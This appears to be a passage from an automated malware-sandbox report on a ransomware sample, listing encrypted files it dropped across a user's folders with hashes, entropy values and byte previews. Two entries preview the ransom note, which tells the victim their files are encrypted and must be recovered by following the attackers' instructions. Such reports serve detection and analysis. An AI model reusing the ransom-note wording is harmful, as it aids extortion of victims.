                                                                                SHA-512:C3ED345AB6FC7FBEE7AF9B815971C7223D56EF56887DEF1A7929D46D5FCE0038EFBF6EB5AD297E7BEE154D4C3CB9E753619969AB70722B1EC176623CEF71E769
                                                                                Malicious:false
                                                                                Preview: ..........Q.K0E]....l.L......6..X.eG.].4.;..t..E.8.......@..I...m...rh...-B.T.x.....8 .S2.....@.{.....xh&..8.g...^.f:...p.]o....n~._...H..;b.....>...1.rEN..sn.*..{.......'...{.4......l.8>.z....c.a..d... R9.$.}}.7K...[./W..Cbt]..!.A.C@Y..u...\.....QRe.....T.:...X.'..*...t....m.""m..k.B3i.c.-.?a.w 1w..Z..3mGm$.....8e..........a....q....u...".Ifb8..+.[...;.....W.m7..[...Q...;.....*.A.PMb....nd..n.......t.....-.B.>.W....k......`..o.PY.*..&O.&.hS..-xO.1}..<.D.1../X.5..:(.`....tGn..l..#xp.[...#1f.}%?....@...E.....?.r....Mg..9B.M..w....A...k:j....w.eK8.!.....,..........Q.@.K..t.[.!.t.a.6...#Y.....Y\.VP..<.#X........f..|...b..!.kAV.xFw.-.$.....I7.5`.!'....-."..|zN..o{....&....EI,....*.R....>.X.s..j.;.......|<....)....fA..s[.w.D.5.....&.ql~>5.]z[~....1.h.Y..2..9.6...A..MD..<.F;X.(.{.....!O..W`..D..;s.8.\A[.r.;r.c.1.4.%....5..B..Y.S-..Bo...........e.Tv....3....ov......L..6M...........{.>.].....*..<[ju...[.:......F6y.._8.2....).z.n%...F.p$
                                                                                C:\Users\user\Documents\SUAVTZKNFL\EEGWXUHVUG.png
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.872836483841574
                                                                                Encrypted:false
                                                                                SSDEEP:24:HHaQkMr0/igIO1AFbiQcZ4L8t+R1171WVQYr0ITiHjFNy9eLlG/7WUrTfu/AL0:naQVFyGFmF05RQ4G+j3EeLlG/7WWTfuT
                                                                                MD5:BBAAE6B22E167FD08C2B7B1D8D2F435F
                                                                                SHA1:08C85FE1E171D57869E42602C7B4D246D35A6508
                                                                                SHA-256:875D0007F37247234D40EE867535D15AF7E98E4386E0803A4A65A7BE1A47F984
                                                                                SHA-512:0A9071E9994C2B1F3CF5576E2EE8BA4D75185BE14C78A09BB5970D860642AE2AAE9B15221835C7561625CF7D15707018C0970B287DEAE61167063070CD63F432
                                                                                Malicious:false
                                                                                Preview: 7.8$.....A$8..1.....n....&v.a.]..C...~.z...Z.....Q.....m.cp.F`..9...9..w...t.;...V.>.Ts.(...q.]|.4.x7.C.D.....06.]P.1. .....U..h 7....}....m.M.S..Q..b...&Po....P.#.....-..]....blTJ=!.Y.......EH.F.o...g...}.R1SiS.....KX.Y3.h...6apq)L.. ....Td..#`..]....J...X.'...E....?..]..A-N...IO..d:\..6...)+R4].hv...C...AG..6t.6"..i.w..G.ECh...+..8"k.."._...L...... ...........W..s=N......t...9(%..i.....#t..qg\.J/)./.1tr.,.p.....B.GR..Y=..(..y....=..i....|U.3.]U..~.+@`..J..h]o....^..Ta.._.p....}.a.X.w/...QYV.p-Jr.I]...G.Ik..F.y.q{N....=....rI_....u${.}L...E.....Uw.IC%...w...d.{.....g..~...~.O..&@......]...(..P6...5W."......7...W....?L@..o.8`md.6.h....(....M.2.....ayN.%.".n}..W*lUR...>>....Y....{[..-=..)..4.-aj..f..n'_.....P..K..+.......f..r.7*..W.^........B...*.......{..9IO....V..G..U_....3H...%c<.....vc..a..(8.4.%w4.....>.r=i.%S.<.Gs.o_'.M.B.1...`..?...R.[X\.2.G\....G.H.ORs(.!SJz....y.....e.|Q..P..&.\.".......m'.>...d(|...h.d6....Q.,H\...Tw....".,.B[....`L.\'
                                                                                C:\Users\user\Documents\SUAVTZKNFL\NVWZAPQSQL.mp3
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.83738630500219
                                                                                Encrypted:false
                                                                                SSDEEP:24:4zDJWPo8gBau+J9CxIKQ6AwweqgJrh6GSQ93UcI/lMlbStH3naGJrTfu/A9H:4fSo8lutIfHmVgWle53aGBTfu/Ah
                                                                                MD5:41C566F18C3626A35C650E56B5EB89DD
                                                                                SHA1:FBF9CBD4903CEF9E0BE6C8F8CA1385A862C1A584
                                                                                SHA-256:E7EB2B93801249E2B1197F27C8685070EC84E9270330349869AC78AEFEF7BF7D
                                                                                SHA-512:6C060FBEA8F5E07ED0AFF8F489AD210B0BAE9A620EC5148A29068EE7345FC31C7E5B52CCEB1AA53F50AE08E2684DF969E38537CFBD5E9D68A59854FADFB21CFE
                                                                                Malicious:false
                                                                                Preview: ....].$..#.7... .F\s.R...:.I..6b}.v.@.......&.....?6 '.}S..D.......[\|.2[,.R".."=.........:Y....".:...R..X..M^;-........H.....W.0.....=..1..U..6#.Hq.Z\....Y......L.8......HxJ..t.Mb..6..,..@..e......W..X....Qx... .......d=......:..x.b.$FM...S...?......y.8.e..Qm..+....4..`.EY)!ZCP.H(...=.J.Y..*@.!4..A..AX... .h......Y@....C...........F#s..O..S~.U..w..m..h.I3l.y.D$...M]c.Y~.M.P6...&.@..$..v...^..%.@....;t./.......;t...X$......"z.Qi...Y..9:.........A..@...).zW/2r(nw.\..2..;.......z..H5.'....4.....}`.U...d@w...d#......=.W..,.Q..;]..g.`.........&...F..P....U3........o...>...r.R......@....d]`..=.[](.......'.e.`...F......;<v]....le]]..le[.}.(.Glg.u.s.r..T.p.i.mF..tma....u..?.'.d...n.../q ..%..;..id5.........T.yQw.."..*..B........l.G.&\Pi3..<$./..............%..s....c...-RV..e.G..0.B....<D..r........Zm..B....C..T.7f.Q%...Q.W.".1..h..S.^........j.W[K..l..............=:.A.f?{...#<....R....T+B.V.p.7R...... ....iZ...c|..j.g...t.a.x.....R.)..
                                                                                C:\Users\user\Documents\SUAVTZKNFL\PIVFAGEAAV.xlsx
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.837080105505919
                                                                                Encrypted:false
                                                                                SSDEEP:24:tDalshUMOV9aVp7tQGRom++rYjua8bCgJrYwwxoFyYmBUrTfu/AAft:0wI9aVphZR08YwGMwxoFyYYWTfu/AK
                                                                                MD5:07EC3AD422401837C4DFE6E6B33330A2
                                                                                SHA1:166A9101FE540731DF7B5BA5A692AD11EC6FCE2B
                                                                                SHA-256:A2C237CAEF3DBBAC775FDDBA2DFEB30CC3962B9F29F6AF1174F624A6F92C352D
                                                                                SHA-512:43FAF3ABF2D5092B84786ED5569CA12758D2CEAB50DC1A87329745D92D3D78E4222EBC641A5EEA90B0D7D849D0AE87343A3A66243D96C17AC5308755A338C290
                                                                                Malicious:false
                                                                                Preview: a.7.o..x....g.yd.d..=m..g..8.\....9!}5..'....0@..x...-...z..H.|.X.K...x..R.,Z>..-....B....n...T....w.P}.Jc...9....l.i|.......S.PM^...d(.u.P.<..T...f...3....l.K...i.4}.=".....k..~2.....................N#..zX..c.wo4%'...r#..Y|.spC..um...$...M6?1.@O.....i..%'.p....~.....m..~.&..3....h........w.^.n..`.V....(..@.~X...4.._..#..%...$fL......S..].....n..o.?....k.r^.....q..o..0.$./&z..'..&.i..A.(...h.0.....A.....FTS....B...j..'...4,...^.y..\.....=..|..".VkO...T.P.qw...... /.d.g.4...7.....M.......T'.'..5u..^.d,xv.j..../..8D...:.x..FqUI..k..t@.r.._..1h../m.."....M..Scy.:.$.....i.4..k&]...e.P....g.....lK..j)..m..w.p..RE.....(M...v.5.n..a.o...^........[....m...Z.......F6.*..O...A.,e.{p$..%....].#......3.x?......CH.:..%y..E...C.r..[.....yk..Bv#H.F...lL.$.=....$......y)%.@...X.M......J..*.wqrH.N...4..'......U2..^..H.FN.......A..*Pq..*b..x0.ub.....nO.JR..*D{S....>.f.m.A..z|.7..=.3;|.;......8..9.0.....m'I....[....4a49..VQ<.7..=..Ea....
                                                                                C:\Users\user\Documents\SUAVTZKNFL\SQSJKEBWDT.jpg
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.8548342209792805
                                                                                Encrypted:false
                                                                                SSDEEP:24:nZVaaF2qc1T3uHjwJaEV8qJ+5xPoWG7deAzDoBELyrTfu/Allv:nZVaaF2qWT3WjwJafqCD8VPaTfu/AlN
                                                                                MD5:4F26B329ADAD44E95A76751D3144D247
                                                                                SHA1:CB25F4E367605DBE49258AD5063F8A24B34D9D3D
                                                                                SHA-256:6E5AC2A3AA823B12840545D1D4E004794A4E62A1F7DB75FFE25A72B64D66B97D
                                                                                SHA-512:9F61A67155FE950184DDDBE22B31B5FCD35DCE1F1405460B0629A1B16C2D0C8B0E9936E8E387C1B09232A8CBD68C5680BABD8138DC047CC73CFBC355DAAF608D
                                                                                Malicious:false
                                                                                Preview: ._|f.`$}.....}|.'.......[..x."J..k.E!|.......X).3..G.K...V.).N......B.....}..h.%._..p7Q.e..$b..1.ak..q....$......X..0...h.,...,.?t...O.S^5.n.H|.V&...zR)y.q..`..hk@..R..WK.zd......<E..Zk.TCE.u.8Mi@N.Nn.c..k.........R..........3j,..U.T.?..f..Y..:}>&P...#...k.y.M..P..B.+R..o.R.].b.W.x.wd....7+.:r.:.d8].O9....e..W.'e...1.Ko..>}..1O...*+T......l^U.f!.v....]...........v.G.F...e......%..&..u.j..M...W..f.|.i.@.2..( ..Q..1.2o?..j...<..FQ....~....;]...a...j.B@i.....@".G.HM.m.F....`T..\.m...#{)......;".c_..{..hoT...]4j..........~.s..D..@..0...w..7..N....-.............J.q.............%.]..x<!.8..T..\.k.a..|.Vo.%..;."A."..1S.......-..b..../..K.n......w..Q..F..w.S.D4..5iMy.P.?@.8b....)..`..c..4K.V....O..7<.jO5.f..=..\Ss:.M..Z......A5.7...v<6okj.......l.&.z...q..0R....s.`.....49)....w... o4.R.!<..L...KO.....u.c...*.Z7..5.$..>...f...2.D.O.."...@. ...Pt.!..k.p.3]]..O.4...t..`...n.9C.)*.....J....E. .....s._.S..L.."g.....u..0/.....o.rp.)$.....Bj.&*......4........7
                                                                                C:\Users\user\Documents\SUAVTZKNFL\SUAVTZKNFL.docx
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.845620609519511
                                                                                Encrypted:false
                                                                                SSDEEP:24:EODw98WgAbBWixJ2wVTZ/Ha0cph4w/y8gQiM06915Tr3zFtpLerTfu/Agl:Esw9jJ48LZ/Ha0cpll5U691Nr3JETfuH
                                                                                MD5:5D14BC98DF2BF5DF71368F0894F48219
                                                                                SHA1:6715CB1D4F72227CD58D5AE97A46AE7EDE8BB781
                                                                                SHA-256:9EA6CDAA6491499301D624123C9801B439611C47311B1CCE6A2771A912C6E703
                                                                                SHA-512:53C16541B8D150FEC10FE9927F9EE71CBBA759AD87BFAABBEDBB5A0E2DE55CA3C13FB3AFAEAC62891A037D872B215BCC31F3AA25DC929F90ED2070AA3590438B
                                                                                Malicious:false
                                                                                Preview: .s.9..%....i.f,....Z|X16f....c...x.s.yA>.K..9.+...P.!.O.q.H^......&.....gU...e'[.g.A....D...46!F.B";F8..%.....ta..C.A..&.Z.A9...x..o-s...C..^...38-z...8.rc.......t..b......Ck.`...)}.L...R.....M}6....w$..~....M.`u.T.u&8.....=j.;..7.SU..eP..QX..1..5..Loo.... .g../"}w...FdZ....t..hQ.3[...Q.+g.z..)dyKp.$.R].(.)....U.w......7|..Q:.&)&...jx.V2y...f.._h...3...].m..*...N..vjGp|@~c@.{......}.x>l....}nP.d!.g.HIO....[.IT$B.;..m....S..."z.g....-.G.i.....Jr.n...Kn%9......!.9/F[7....?....\......].kS.2=|...C....w.&.l....Njf.....V.n9Y.......?..c.c~..n%y...$[.]`..(..R1.P40pJ..%BH..fe..........&..!J.$\...@.1..m-].hb..>.v....^...p.Z"TS.O.>PA.a...D..O.3..C...a.U..(.yE*:'..F.~^.qN..a...4.:..v!.t8+......y.q._..."s7b...^.j....+C..M.._..wc. ..-..S......".|s.......m..c..:T`.o.&.3_>.~].O.#N0r.u9..0..{.....0.db. ...b.Yr.~Q...f0w...E+SLX..@..g......#..R.......7l...x./zN..Q..n{..z..C.f...y.%...s.U..9.~8.H0m.Uv.}j......TO.?...7.f....G..<..~...O....?.e.q...l....(.
                                                                                C:\Users\user\Documents\TQDFJHPUIU.mp3
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.860124550612168
                                                                                Encrypted:false
                                                                                SSDEEP:24:TZBADegtBIvYwz1VN9GkiWPto83wIsVGJJv7pU6W1Ba6ModrTfu/AFKWe:1BSeggvYiWrWo8AIsVGJJvC6WHFfTfuT
                                                                                MD5:8717A9C28841C6CC338C78B1224DAFAF
                                                                                SHA1:1ADF49517F8625B25D4A2CDFC62FF2DB7C2936D4
                                                                                SHA-256:ECCB732BE9331CE8DC6665AF3E29FF4E51B39EDC435BFF5CB2CBD9CA429E21ED
                                                                                SHA-512:499186A9D82576F4ECD3688B2084FC3202ABF53CC58E573887BEB2E4E5415141FFE5607B5F47CE2D6F34952BC71835813572FEA504454CE3D46F4F1CBD4601F8
                                                                                Malicious:false
                                                                                Preview: ..."nl.I.DLt.N..Zx.=...vnd|..P..]...[...6.yM..E.#]...........[...J(..Z..sE..v5|zz.v...G`...5.b=.).e...\...%;..&...1|....q@.9Y....u....!.g..r.;......f..Hz9.v..J. =5E.a.sp.Z..G].7^.-.j#.h.S.2.Z..[.....!..a../..p.....k..8N...v..e..e..s.:.[g...Vy...1.Jy.%..x..).6....\.y.f..RzL.6.E.N).........aLg...(..1"V..Z.f".t....Do.4F.CT.v....^.U...%.VR2z.,..wX~8.3e...z.s...Fc..M....w_Y.A.jN.z...6...n."..]...L....Z..)....GJ..X .l..9X.|c.t.Q0.....a...{...6.\..}.,.'}.E0v..`.q. .Q.8..4.e........D.K.".a.....j.p...>..~.y.K..Y...D..y=.m2.(..F+5HN.Z."t..B6.r.\B0[RO.X.Kb.J...`..j..`......F.x|g.{.)..\+..+...o.......x.....).k..5..1..Ys...>!.xM..O..*.7I.L.@.V.5.Y...X....m#/..=..#. ..W. .R...n.f...{...q..:...H7!...$....H...K.N..p........(.r..[..$.r.....?.m.o}.g...eJt.y......eakS=......2".....d8.b.#5J..v...<*.O....]cY.....H.v.S=.....s.k......d/yam.zW......nv..\....*.s....m.6....\Bw`L.._1..,.>.+._..^..C".C....\j.. .,W.....Vv...k...,....._sb....pi....#......m..Br
                                                                                C:\Users\user\Documents\WSHEJMDVQC\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\user\Downloads\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\user\Downloads\BJZFPPWAPT.pdf
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.858214689680253
                                                                                Encrypted:false
                                                                                SSDEEP:24:ENKjn0VfOugUiMwCFiL12ACDhMMLLXjZ0Hg262y+HrTfu/AfRun:AW0VfhitCFg2AC97LLX2ty+LTfu/A8
                                                                                MD5:B2BC0218480229CA02A0D9742FF0B8F0
                                                                                SHA1:FC82CC7947CC27BB2C7EA7993B91A1A3DD99BD2A
                                                                                SHA-256:3AD27EE376EAF9656EEE88DC6A8A3106BA9AC6B5DD546D8B3CD57B22E7F681F6
                                                                                SHA-512:B0EF53466491B119DFAB387EAE55EE53010051A5708870572B436817FEA1286FD73F39DEBE98602B35F9CA9C9F04EE7D6A5985DE6E6952C91C017F53E8E222A9
                                                                                Malicious:false
                                                                                Preview: ...Nw...i.......u......T.-k..i..n..ZZ'.LjF..w.0&..U..I.H..%..tF..).$`U1M..5.@../..u.:&......},...Z.S...b.KCO.G1(.6_..u]1......(.]U'8...*7....Hy.\....R.EA.......I....H.6....z..{. G...1.Qf.............(l.T.D#.+....o..6F..r..........6,.KcJR.....]..f.J...AX.F.....%.6.GT...h..wDL.7.O<.}*...U......D...........Ew...'.>..pr..n.I.0pa.....k.@.a..h.'.. .".055.....Mp."..X.........~hR......W'.t.`q. i.5E........T/.bY..iQS..h.S..z1.M+!y.?..0..O..,.&..h|.lf~.Z........[z....tg..Z..."...Q.O.<.d..&b.{.X..[...........H.f.,...."s;..|6OC../ .1.."YM...<....rM..M.7_.9\.....~E'.u..V...P..J..PG..3.Z,.J[........X...#.W}w.bR;.L..9...".-a....\U....8l..1.s2.....w...).O.......*7I.D#....eH.(mW....v.......32..!S....r.>.a..WO....RIW....7.N....m}./I.....I:.-..6....n..h.Y.7@.4.3]?c.L.y .(Q..tUL.fx...w.v*".....DH].w..s.y..&..=1....y.KQ%.}=/..v..B.....=8}I.....Z.0cAJ.,...5..\.}...c.*.....(..H%#..6.x..3.[..'dG.qU.d..i.. ...1..wT..f..m.....i...@..>o.... u.FK.4.J..XM(.........p.Q
                                                                                C:\Users\user\Downloads\BNAGMGSPLO.docx
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.818597563343498
                                                                                Encrypted:false
                                                                                SSDEEP:24:14OlfAsHWgpEB78LX/DXXnFzznbAuL7HpVarTy/1G0rzp69ite2rTfu/AdZ:ahs7EB7gXbXX1bAuXHC/ytbrlbnTfu/Q
                                                                                MD5:48F8E0B6AE3DA342020C7ECC5C3B82C2
                                                                                SHA1:42E45A261FF0798C908143410DE1740201EC6AB9
                                                                                SHA-256:F795F4A8FF2D3C97BD18BA832173A6DE74618C842E740DF0AE2AABA2B9951F97
                                                                                SHA-512:97C01E48BC58ACF36D2A6D5180CA8C202D3D7BD321A7DBE27B59B968654E0FEF5ED8533C4901D378484A9B62EE61133C4258660E145B5F7F8E8E4CEEE4289759
                                                                                Malicious:false
                                                                                Preview: ...W....T.!f.........+.g"......j..-8.fCdc.../..g.zm|KJ=q"s....y."y...>........g.&;...........C.~.^....<.&e.~.....7>...)...Z.V.q.@F....F....a....r@...n...&.@.........~....W.."..ZdZ.njt...S.e.`}..W.C:.U.Jh....HX..^-.[C"N3..G.s.fM.].....N...<K.f&.U.;...X.+..]..P.c...q<..b.`U.@.$...N.m.gw.h...l.J..~.K.DT..I....4....4....../...p.....0.FhFj....K.+.@~...~1....Y....t.lNeSt^.Dvk.#..0.t.M.F.s.*...p..6...Z,n.."t..W3.1yl..m..&.;S..0.?k..EL....O5>...9.....mS..'?.'QSR.. =>8[X...*0..........Bb...-&./..EZgvf4.J...j...l...a....T...Yz.........4A..N...s..n.[%.)bC!.N...(. .iR..&....'....)Fc{..).qF>G.2M..V..&|.~i30_..`...!.N.3.okG...{...U...d.l.....Z.=s......f...C.*/.0.?....l>../...z..."..z...`..@.Vu....L.>:..o.C..5.#..[c..$.x3.....5..!...;...r..".@l...,..e...V<sSw.;.e....{S....@.=|...J.OY..Q....<..........Z........o...U.FtMB..4.....aX.0..,..N....O....f1[...NO......-[..'.L...1-......2@.....aT...c.:.....n\J.........}.x.^...V.c..#...T|.1#xd<.*.K...u^.Q .&..x..v..@.[...]...N.>..
                                                                                C:\Users\user\Downloads\BNAGMGSPLO.pdf
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.855194147267195
                                                                                Encrypted:false
                                                                                SSDEEP:24:KSDhmN6EGOG4wbofWJJ+0Ukbp1BhwmjZHR4A57kM98on/qwrTfu/AWxBO:vd3EGSYoeJJ+JmfBqmjZH77kIhyyTfuy
                                                                                MD5:5F927551CA76214AC8E613BD50774AF1
                                                                                SHA1:9EB1BDB4736C42AC15CCBCCCA0A615132399502B
                                                                                SHA-256:56DCA623DCC813C7E14A0263219AD781D60EBA2B6F12E7E6820B26E7207575EA
                                                                                SHA-512:832A23529253993B5707418069507CD32DAB993338A4173DECBB5AD6ED24A31C8DD7174D2CAC0F8F1FEE18C875634BD29C547FD8F42844F1486994DCEE00F6C1
                                                                                Malicious:false
                                                                                Preview: *Y....;..s..~S.6.a.........Z...*...V(.v..<.J,...1..(z.u...*.N.g.2K..|.83.|.P..'.....C...({6..qt.HUu^..!v.Qw@j.Hh#.......p..K..5.{x.-..'x .?(.B.....GV...{.U.+c.(. #..)......0......+r.P.g..@.B+.H.\.w.oi.c..A0.Z.......}1.~..u.....)...gT....BV.>.....Q.Pf7Q@.M%.J<..q#!...O-a.}.dNi8..|.[......6}..h..n..\.AJc..\w.e.?.q.6.mF...h}.,j`=..=..&..r..%.p..>.B....W.>...6Vv.K.....V.u......t....^.zh.Km~.,....b...h..OY^.....JW.|.Q.......u.7.:..I.....fC.k...y..{..\p......47...O....M[...^..OFqq.N...j;.bj..P=S...2$o...$...:.WP...sK,}..0j...=.Y.Cf.J%..l.l....J.K.qe.|....Yp...]3s*<$..oPW....*..4\....8T$..u.e.d.E........N$+|...8.Q.|..R..{..&.."..`]M...q..\^.....0..G.i......>..)aC t.LH.SC.t9..;'...'._..........x.?U......2..:. ...Z..)Mr10tK.&.v.....>..&%...$6......#n...v.}.N.M.......2...}4<.....j....9-kJh(...$...:}~8..{..!.\..t.l....... ...H.t.;."/..b.q..&..Ix.S.z..u.K...=;..^......V.H.W_..;.gn.......~....z.-.lbX.T+F....<.....m.7...a{..|..C....zF.....'
                                                                                C:\Users\user\Downloads\CZQKSDDMWR.mp3
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.847371239452792
                                                                                Encrypted:false
                                                                                SSDEEP:24:Cr0y2pw/XC3eMcttJyJ+3EVA4NkltGcMhHLaWEgNUerhdWrTfu/AWFI2:40DCCO7jJyJ64mrz+LaMrhmTfu/AsB
                                                                                MD5:BEE97139717EF980EBCD7C1C5ECE7906
                                                                                SHA1:55BE8880CFCDC42EBFEBCCA8B6470FBAF8CED4F7
                                                                                SHA-256:D4FE7894DC563D609900BC71B5668B157A165128718A2BE23A4FC8933EBBF957
                                                                                SHA-512:42CF2C6D0927B96D2D8AA67D09939F1AD2F0F571F08F48ED3731F1888FB4C1B19DEAD28B89D0699D3840AD1CA009E2CCFC42D1CDF1B3B88857F216F4354796E7
                                                                                Malicious:false
                                                                                Preview: f....1.nm+.c.g.4.... lc........K^..}..R..j^..!|../.N. 7.Dt..[9.J..)..........Eu.......C"..F....Qx..lt.....o..V/..Y...=.+4.&.S.R..A.Wbc~a..[..L^.y.t.......?4T...ej..@L..Q.Zv.^-0.5.......e8.6.....,U.]1*..{r.D..J..M..J.....V.2r.m.8..Y':..............P.<.I..k.....c..x......!..P.E_......q....#C.=.N..,..U$.J...Xi|.R.._..v.E...S.s6PB....Fy$[.4..g..pu:...)m.Z....g...M.:.i.?....`H5....R.{/.t.&[d.Yi..|..T...6....../..h....c...x.j.>.uB..T.%.//b.'.b....-v.i..h..E.78e..q.zMM.#.....7.......:.....,../...]..A.(^>.X..,*O...n..2L.f.y<is..M..@..&.K..`."..7oR.<[ z....(0.W..g.N.#P.....Ed..}i>d.dw...yC.-N...,.aZI.>.\d.t.;S...e....Z..9.u..+.yZ..+=..l.~...r/...t0V..Y@..@x....7Y.....l..7..%.JJ.?.........3.A@..q....xbj.......p!...;.+..K.u..~..%..?..g..8y....sI~>.wF.,...<.\...v..7.D$.7.>..QZV.c.^...r.'...9%.',..........t......xj..e.2.KH.=k...u.P..9........X.....e..MERcu6hX..%.!.S....x.....B+.0-.X..m.6.P2b.".A......e^....1..%.`\?$%....Y..u..[H...r.h.i...j.G.......
                                                                                C:\Users\user\Downloads\EEGWXUHVUG.png
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:PGP\011Secret Key -
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.829384099640176
                                                                                Encrypted:false
